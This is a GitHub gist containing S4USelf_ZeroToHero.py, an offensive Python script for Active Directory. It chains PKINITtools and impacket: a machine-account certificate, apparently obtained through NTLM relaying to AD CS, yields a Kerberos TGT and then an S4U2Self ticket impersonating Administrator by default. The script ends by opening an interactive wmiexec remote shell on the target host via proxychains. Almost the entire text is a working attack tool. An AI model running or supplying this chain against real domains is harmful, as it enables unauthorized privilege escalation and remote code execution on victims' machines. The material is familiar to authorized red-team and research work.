Skip to content

Instantly share code, notes, and snippets.

@Flangvik
Last active December 8, 2024 21:33
Show Gist options
  • Save Flangvik/3c02bae70e6d34d542783d07c8cbe584 to your computer and use it in GitHub Desktop.
Save Flangvik/3c02bae70e6d34d542783d07c8cbe584 to your computer and use it in GitHub Desktop.
S4USelf_ZeroToHero.py
import sys
import os
import argparse
import getpass
import logging
import subprocess
import shlex
import base64
# Needs to PKINITtools have by @_dirkjan installed / be ran in the same directory
# https://github.com/dirkjanm/PKINITtools
# Based on blog: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
logger = logging.getLogger('[+] ')
def run_command(command):
process = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE)
while True:
output = process.stdout.readline().decode()
if output == '' and process.poll() is not None:
break
if output:
print(output.strip())
rc = process.poll()
return rc
def is_base64(s):
try:
base64.b64decode(s)
return True
except Exception:
return False
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Uses a certificate to gain interactive access using wmiexec")
parser.add_argument('--domain', dest='domain', type=str, help='Full Domain Name', required=True)
parser.add_argument('--account', dest='account', type=str, help='Target computer account (Without $)', required=True)
parser.add_argument('--dc-ip', dest='dc', type=str, help='Domain Controller IP', required=True)
parser.add_argument('--cert', dest='cert', type=str, help='Base64 encoded pfx certificate or path to .pfx file', required=True)
parser.add_argument('--pfx-pass', dest='pfx_pass', type=str, help='Password for PFX file (if using PFX file)')
parser.add_argument('--impersonate', dest='impersonate', type=str, default='Administrator',
help='Account to impersonate (default: Administrator)')
args = parser.parse_args()
logger.info('--------------')
logger.info(f'Target account: {args.account}')
logger.info(f'Impersonating: {args.impersonate}')
# Determine if cert is base64 or file path
if os.path.isfile(args.cert) and args.cert.lower().endswith('.pfx'):
if not args.pfx_pass:
parser.error("--pfx-pass is required when using a PFX file")
# Use PFX file directly
tgt_command = f"proxychains4 python3 gettgtpkinit.py -cert-pfx {args.cert} -pfx-pass {args.pfx_pass} {args.domain}/{args.account}$ {args.account}_tgt.ccache"
elif is_base64(args.cert):
# Use base64 encoded cert
tgt_command = f"proxychains4 python3 gettgtpkinit.py {args.domain}/{args.account}$ -pfx-base64 {args.cert} -dc-ip {args.dc} {args.account}_tgt.ccache"
else:
parser.error("--cert must be either a valid base64 encoded certificate or path to a .pfx file")
# Run commands
run_command(tgt_command)
os.environ['KRB5CCNAME'] = f'{args.account}_tgt.ccache'
run_command(f"proxychains4 python3 gets4uticket.py kerberos+ccache://{args.domain}\\\\{args.account}\$:{args.account}_tgt.ccache@{args.dc} host/{args.account}.{args.domain}@{args.domain} {args.impersonate}@{args.domain} host_{args.account}.ccache -v".format(args.domain,args.account,args.dc))
os.environ['KRB5CCNAME'] = f"host_{args.account}.ccache"
wmiexec_command = f"proxychains4 wmiexec.py -k -no-pass -debug -dc-ip {args.dc} '{args.domain}/{args.impersonate}@{args.account}.{args.domain}'"
logger.info(f'Executing: {wmiexec_command}')
run_command(wmiexec_command)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment